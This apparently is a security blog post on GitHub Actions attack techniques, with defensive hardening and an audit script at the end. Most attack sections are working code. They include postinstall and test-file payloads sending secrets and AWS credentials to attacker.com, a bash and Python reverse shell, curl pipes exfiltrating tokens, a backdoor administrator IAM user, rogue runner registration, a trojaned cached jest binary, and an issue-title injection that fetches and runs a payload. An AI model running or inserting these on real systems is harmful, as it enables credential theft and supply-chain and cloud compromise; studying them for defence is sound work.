TL;DR — GitHub Actions workflows are a powerful CI/CD primitive that, when misconfigured, become an attacker's ideal launchpad: secrets are accessible as environment variables from workflow steps, OIDC tokens can authenticate to cloud providers with overly-broad IAM trust policies, and the pull_request_target trigger runs untrusted fork code with access to the base repository's secrets. Self-hosted runners extend this attack surface to on-premises networks and container orchestration platforms.Executive Summary
GitHub Actions has become the dominant CI/CD platform for open-source and enterprise software alike, handling everything from automated testing to production deployments across cloud environments. Its deep integration with cloud providers via OIDC, its access to sensitive deployment secrets, and its execution on both GitHub-hosted and self-hosted infrastructure make it an extraordinarily high-value attack target.
The attack surface spans the full software supply chain. An attacker who can inject code into a GitHub Actions workflow — via a malicious pull request, an expression injection through issue titles, a compromised dependency action, or a cache poisoning attack — can access any secret the workflow can reach. In a modern DevOps environment, that means AWS IAM credentials, GCP service account tokens, Docker Hub passwords, NPM tokens, and SSH keys to production systems.
The pull_request_target trigger is particularly dangerous because it runs workflow code in the context of the base repository (with access to its secrets) but checks out code from the pull request (potentially from a fork). This contradicts most developers' mental model of how pull request security works, and it has been the vector for numerous real-world supply-chain compromises, including the 2021 Codecov breach and several high-profile open-source project compromises.
This post covers the full attack taxonomy: trigger misconfigurations, secrets exfiltration techniques, OIDC abuse for cloud access, self-hosted runner compromise, artifact poisoning, dependency confusion, expression injection, and cache poisoning. Each attack is illustrated with working workflow YAML and exploitation scripts.
GitHub Actions Architecture and Attack Surface
Workflow Components and Execution Model
flowchart TD
A[GitHub Repository] --> B{Workflow Trigger}
B -->|push| C[GitHub-Hosted Runner]
B -->|pull_request_target| D[Base Repo Context + Fork Code]
B -->|workflow_dispatch| E[Manual Trigger with Inputs]
B -->|schedule| F[Cron-based Execution]
C --> G[Workflow Jobs]
D --> H[Secrets Available - DANGER]
G --> I[Actions Marketplace]
G --> J[Secrets env vars]
G --> K[OIDC Token Request]
H --> L[Cloud Credential Exfiltration]
J --> M[secrets.AWS_ACCESS_KEY_ID exposed]
K --> N[Assume AWS/GCP/Azure Role]
style H fill:#ff4444,color:#fff
style L fill:#ff4444,color:#fff
style M fill:#ff6600,color:#fff
style N fill:#ff6600,color:#fffThe GITHUB_TOKEN and Default Permissions
Every workflow run receives a GITHUB_TOKEN scoped to the repository. The default permissions have expanded over time and vary by organization settings:
| Permission Scope | Default (Public Repo) | Default (Private Repo) | Maximum |
|---|---|---|---|
contents | read | read | write |
pull-requests | read | read | write |
packages | read | read | write |
id-token | none | none | write |
actions | read | read | write |
deployments | none | none | write |
The id-token: write permission is the most dangerous — it allows the workflow to request a GitHub-signed OIDC token that cloud providers can be configured to accept as authentication.
Malicious Pull Request Injection via pull_request_target
The Trust Boundary Confusion
The pull_request_target trigger was designed to allow PRs from forks to run with access to repository secrets (needed for things like posting comments with test results). However, it creates a critical security issue when combined with code checkout:
# VULNERABLE WORKFLOW — a common pattern that leaks secrets to fork PRsname: CI with Coverage Reporton: pull_request_target: types: [opened, synchronize] jobs: test: runs-on: ubuntu-latest steps: # DANGER: This checks out the PR's code (potentially from a fork) # but runs with base repository secrets - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # Any code in the checked-out PR can now read: # ${{ secrets.AWS_ACCESS_KEY_ID }} # ${{ secrets.CODECOV_TOKEN }} # ${{ secrets.NPM_TOKEN }} - name: Run tests run: | npm install # Could run attacker's postinstall script npm test # Executes attacker-controlled code with secret access env: # These secrets are now accessible to attacker-controlled code AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}Exploitation via Fork PR
An attacker submits a pull request from their fork with a modified package.json that exfiltrates secrets via a postinstall hook:
{ "name": "legitimate-looking-package", "version": "1.0.0", "scripts": { "postinstall": "node -e \"const{execSync}=require('child_process');try{execSync('curl -s https://attacker.com/collect?k='+process.env.AWS_ACCESS_KEY_ID+'&s='+process.env.AWS_SECRET_ACCESS_KEY)}catch(e){}\"", "test": "jest" }}Or more directly, by modifying a test file that the workflow executes:
// Modified test file in attacker's PR// tests/unit.test.js const https = require('https');const { execSync } = require('child_process'); // Exfiltrate all available secrets and environment variablesconst secrets = Object.entries(process.env) .filter(([k]) => k.match(/KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL/i)) .reduce((a, [k, v]) => ({ ...a, [k]: v }), {}); // Also grab cloud CLI credentials from the runner filesystemlet awsCreds = '';try { awsCreds = execSync('cat ~/.aws/credentials 2>/dev/null').toString();} catch (e) {} const payload = JSON.stringify({ secrets, awsCreds, env: process.env }); // Exfiltrate to attacker's serverconst req = https.request({ hostname: 'attacker.com', port: 443, path: '/collect', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }}, () => {});req.write(payload);req.end(); // Run the actual tests so CI appears to passtest('placeholder test', () => { expect(1).toBe(1); });Secrets Exfiltration Techniques
Direct Environment Variable Exposure
When secrets are mapped to environment variables, they can be accessed by any process in the step:
# VULNERABLE: Secret exposed in environment- name: Deploy to production run: | # This outputs the secret to logs if set -x is active ./deploy.sh # Or via a malicious dependency's postinstall npm ci # Runs postinstall scripts that can read env vars env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} DATABASE_PASSWORD: ${{ secrets.DB_PASS }}Reverse Shell via Workflow Step
# If an attacker gains control of any step (via dependency compromise,# expression injection, or pull_request_target abuse), they can establish# a reverse shell from the runner: - name: Malicious step (attacker-controlled) run: | # Establish reverse shell from GitHub Actions runner bash -i >& /dev/tcp/attacker.com/4444 0>&1 & # Or use a more reliable method that survives step completion python3 -c " import socket, subprocess, os, time s = socket.socket() s.connect(('attacker.com', 4444)) while True: cmd = s.recv(4096).decode() if not cmd: break result = subprocess.run(cmd, shell=True, capture_output=True, text=True) s.send((result.stdout + result.stderr).encode()) " & # Collect all secrets from the runner environment env | grep -E 'SECRET|KEY|TOKEN|PASSWORD' | \ curl -s -X POST attacker.com/secrets -d @- # Dump GitHub token echo "GITHUB_TOKEN: $GITHUB_TOKEN" | curl -s -X POST attacker.com/token -d @- # Dump any AWS/GCP/Azure CLI credentials cached on the runner cat ~/.aws/credentials 2>/dev/null | curl -s -X POST attacker.com/aws -d @- cat ~/.config/gcloud/credentials.db 2>/dev/null | \ base64 | curl -s -X POST attacker.com/gcp -d @-OIDC Token Abuse for Cloud Access
Overly Broad IAM Trust Policies
GitHub Actions can request OIDC tokens that cloud providers accept for authentication. The security depends entirely on the IAM trust policy that specifies which GitHub repositories and branches are allowed:
// AWS IAM Trust Policy — VULNERABLE (allows any GitHub repo in the org){ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringLike": { // VULNERABLE: Wildcard matches any repo in the org, any branch "token.actions.githubusercontent.com:sub": "repo:myorg/*:*" } } } ]}# Attacker's workflow in any public repo (or any repo in 'myorg')# exploiting the overly broad trust policy above name: Steal AWS Credentials via OIDCon: [push] permissions: id-token: write contents: read jobs: steal: runs-on: ubuntu-latest steps: - name: Configure AWS credentials via OIDC uses: aws-actions/configure-aws-credentials@v4 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeployRole aws-region: us-east-1 # Works because the trust policy allows ANY repo in myorg - name: Enumerate and exfiltrate run: | # We now have full permissions of the assumed role aws sts get-caller-identity aws s3 ls # List all buckets aws secretsmanager list-secrets # List secrets # Get the actual access token for exfiltration TOKEN=$(aws configure export-credentials --format process) curl -s -X POST attacker.com/aws-creds -d "$TOKEN" # Create a backdoor IAM user for persistent access aws iam create-user --user-name github-backup-user aws iam attach-user-policy \ --user-name github-backup-user \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess aws iam create-access-key --user-name github-backup-userSelf-Hosted Runner Compromise
Pivoting from Runner to Host Network
Self-hosted runners execute workflow jobs on the organization's own infrastructure. A malicious PR targeting a workflow that runs on a self-hosted runner can pivot to the runner host and its network:
# Attacker submits a PR that targets self-hosted runners# The PR code executes on the org's internal infrastructure name: Attack via self-hosted runneron: pull_request: # pull_request (not pull_request_target) still runs attacker code # but on the self-hosted runner with access to internal network jobs: build: runs-on: self-hosted # Runs on org's internal infrastructure steps: - uses: actions/checkout@v4 - name: Malicious build step run: | # Internal network recon from the runner host nmap -sn 10.0.0.0/8 2>/dev/null | grep "report for" | \ curl -s -X POST attacker.com/network -d @- # Access internal services not exposed externally curl -s http://internal-jenkins.corp.example.com/api/json curl -s http://internal-vault.corp.example.com/v1/sys/health # Harvest cloud credentials from the runner's environment # Self-hosted runners often have static cloud credentials cat ~/.aws/credentials | curl -s -X POST attacker.com/aws -d @- # Plant persistence via runner hooks (if writable) cat > ~/.githooks/pre-commit << 'EOF' #!/bin/bash curl -s "attacker.com/persist?host=$(hostname)" & EOF chmod +x ~/.githooks/pre-commitRunner Registration for Persistent Access
#!/bin/bash# After gaining RCE on a self-hosted runner host,# register an additional runner for persistent access # GitHub allows multiple runners per repository/organization# An attacker with the runner registration token can add their own # Extract the existing runner configurationcat ~/actions-runner/.runner # Contains repository URL and runner ID # Register an additional runner (attacker-controlled)./config.sh \ --url https://github.com/TARGET_ORG \ --token REGISTRATION_TOKEN \ --name "build-agent-backup" \ --labels "self-hosted,linux,x64" \ --unattended # This runner now receives workflow jobs from the target organization# and executes them on attacker infrastructure./run.sh &Dependency Confusion and Action Pinning
GitHub Actions are referenced by {owner}/{action}@{ref}. Using a mutable tag (@v3) means the action content can change at any time:
| Reference Type | Example | Mutable? | Security |
|---|---|---|---|
| Mutable tag | actions/checkout@v4 | Yes — can be moved | Vulnerable to tag hijack |
| SHA pin | actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 | No | Secure |
| Branch | actions/checkout@main | Yes — any commit | Very vulnerable |
| Semantic version | actions/checkout@v4.2.0 | Effectively no* | Moderate |
# VULNERABLE: Using mutable tagssteps: - uses: actions/checkout@v4 # Tag can be moved - uses: some-org/some-action@latest # Extremely dangerous # SECURE: Pinned to commit SHAsteps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 # SHA pinning means this exact commit of the action will always run # even if the action's repository is compromisedWorkflow Expression Injection
Code Injection via Issue and PR Titles
GitHub Actions expressions evaluate data from the event payload. If user-controlled values like issue titles, PR body text, or commit messages are interpolated directly into run: steps, arbitrary command injection is possible:
# VULNERABLE: Expression injection via issue titlename: Auto-label issueson: issues: types: [opened] jobs: label: runs-on: ubuntu-latest steps: - name: Apply label based on title run: | # VULNERABLE: github.event.issue.title is attacker-controlled # Attacker creates issue with title: "bug`; curl attacker.com/steal | bash; echo `" echo "Processing issue: ${{ github.event.issue.title }}" # The title is interpolated before the shell interprets the command # Backtick injection, $() injection, and ; chaining all work hereAn attacker creates an issue with the title:
a"; curl -s https://attacker.com/payload | bash; echo "This results in the workflow executing:
echo "Processing issue: a"; curl -s https://attacker.com/payload | bash; echo ""Safe Pattern:
# SECURE: Pass user input via environment variable, never via expression interpolation- name: Apply label based on title env: ISSUE_TITLE: ${{ github.event.issue.title }} # Assigned to env var, not interpolated run: | # $ISSUE_TITLE is now treated as data, not code echo "Processing issue: $ISSUE_TITLE" # Shell cannot interpret the title as commands when accessed this wayCache Poisoning
Injecting Malicious Artifacts into the Cache
GitHub Actions caching stores build outputs between runs, keyed by a cache key expression. An attacker who can write to the cache (via a PR on the default branch or by exploiting a misconfigured workflow) can poison subsequent runs:
# Step 1: Attacker's workflow poisons the cache# This runs on the default branch if the attacker has merged a malicious PR - name: Poison the build cache run: | # Inject a malicious binary into the node_modules cache mkdir -p node_modules/.bin cat > node_modules/.bin/jest << 'EOF' #!/bin/bash # Exfiltrate environment on every test run curl -s attacker.com/collect -d "$(env)" # Run the real jest to avoid detection exec "$(which jest.real)" "$@" EOF chmod +x node_modules/.bin/jest - name: Save poisoned cache uses: actions/cache/save@v4 with: path: node_modules key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} # Next run that uses this exact cache key gets the poisoned node_modulesDetection and Hardening
Workflow Security Configuration
# SECURE WORKFLOW TEMPLATE — implements all recommended security controls name: Secure CI Pipelineon: push: branches: [main] pull_request: # Use pull_request (not pull_request_target) for fork PRs branches: [main] # Minimum necessary permissions for the GITHUB_TOKENpermissions: contents: read # Only add specific permissions if actually needed: # pull-requests: write # Only if posting PR comments # id-token: write # Only if using OIDC cloud auth jobs: build: runs-on: ubuntu-latest steps: # Pin all actions to commit SHA - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 # Pass user-controlled values via env, never interpolate in run: - name: Process PR information env: PR_TITLE: ${{ github.event.pull_request.title }} PR_BODY: ${{ github.event.pull_request.body }} run: | echo "PR Title: $PR_TITLE" # Safe — env var, not interpolated # Use OIDC with restrictive trust policy (never use long-lived keys) - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2 with: role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole aws-region: us-east-1 # Trust policy MUST restrict to specific repo and branch: # "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:ref:refs/heads/main"Security Monitoring for GitHub Actions
#!/bin/bash# Script to audit GitHub Actions configurations in an organization GITHUB_TOKEN="your-github-token"ORG="myorg" # 1. Find workflows using pull_request_target with checkoutgh api "orgs/$ORG/repos" --paginate -q '.[].name' | while read repo; do gh api "repos/$ORG/$repo/git/trees/HEAD?recursive=1" 2>/dev/null | \ jq -r '.tree[] | select(.path | test(".github/workflows/.*\\.yml$")) | .path' | \ while read workflow; do content=$(gh api "repos/$ORG/$repo/contents/$workflow" | jq -r '.content' | base64 -d) if echo "$content" | grep -q "pull_request_target" && \ echo "$content" | grep -q "ref:.*pull_request.head"; then echo "[!] VULNERABLE: $ORG/$repo/$workflow uses pull_request_target with PR checkout" fi donedone # 2. Find workflows using mutable action tags (not SHA-pinned)# 3. Find workflows with overly broad permissions# 4. Find workflows that interpolate github.event data in run: stepsMITRE ATT&CK Mapping
| Technique ID | Technique Name | Application in GitHub Actions Abuse |
|---|---|---|
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Malicious marketplace actions, dependency confusion, typosquatted action names |
| T1552.001 | Unsecured Credentials: Credentials In Files | Secrets exfiltrated from workflow environment variables, runner filesystem, and cloud CLI credential stores |
| T1059 | Command and Scripting Interpreter | Shell command injection via expression injection, malicious workflow steps, and postinstall scripts |
| T1078.004 | Valid Accounts: Cloud Accounts | Using stolen OIDC tokens or exfiltrated cloud credentials to authenticate to AWS/GCP/Azure |
| T1021 | Remote Services | Self-hosted runner compromise provides SSH/RDP access to internal network from the runner host |
| T1070.004 | Indicator Removal: File Deletion | Cleaning up malicious artifacts and log entries from the runner after credential exfiltration |
| T1057 | Process Discovery | Enumerating running processes and services accessible from the self-hosted runner host |
| T1562.001 | Disable or Modify Tools | Disabling or bypassing security scanning steps in workflows to allow malicious code to proceed |
Conclusion
GitHub Actions represents the convergence of code execution, secret access, cloud authentication, and network connectivity in a single platform — making it one of the highest-value attack targets in the modern software supply chain. The pull_request_target trigger misconfiguration alone has been responsible for widespread secret exfiltration across the open-source ecosystem, and expression injection vulnerabilities continue to appear in widely-deployed enterprise workflows.
The defensive posture must be layered: restrict permissions to the minimum necessary, pin all action references to commit SHAs, enforce code review requirements for workflow file changes, use OIDC with maximally restrictive trust policies instead of long-lived credentials, and implement runtime monitoring for anomalous workflow behavior. Organizations running self-hosted runners on sensitive infrastructure face additional risk and should isolate runners in dedicated network segments with minimal access to production systems.
The GitHub security hardening guide, OpenSSF Scorecard, and StepSecurity's Harden-Runner action provide automated detection and prevention controls that should be standard components of any organization's DevSecOps posture. The cost of misconfiguration is not a failed build — it is a full cloud environment compromise.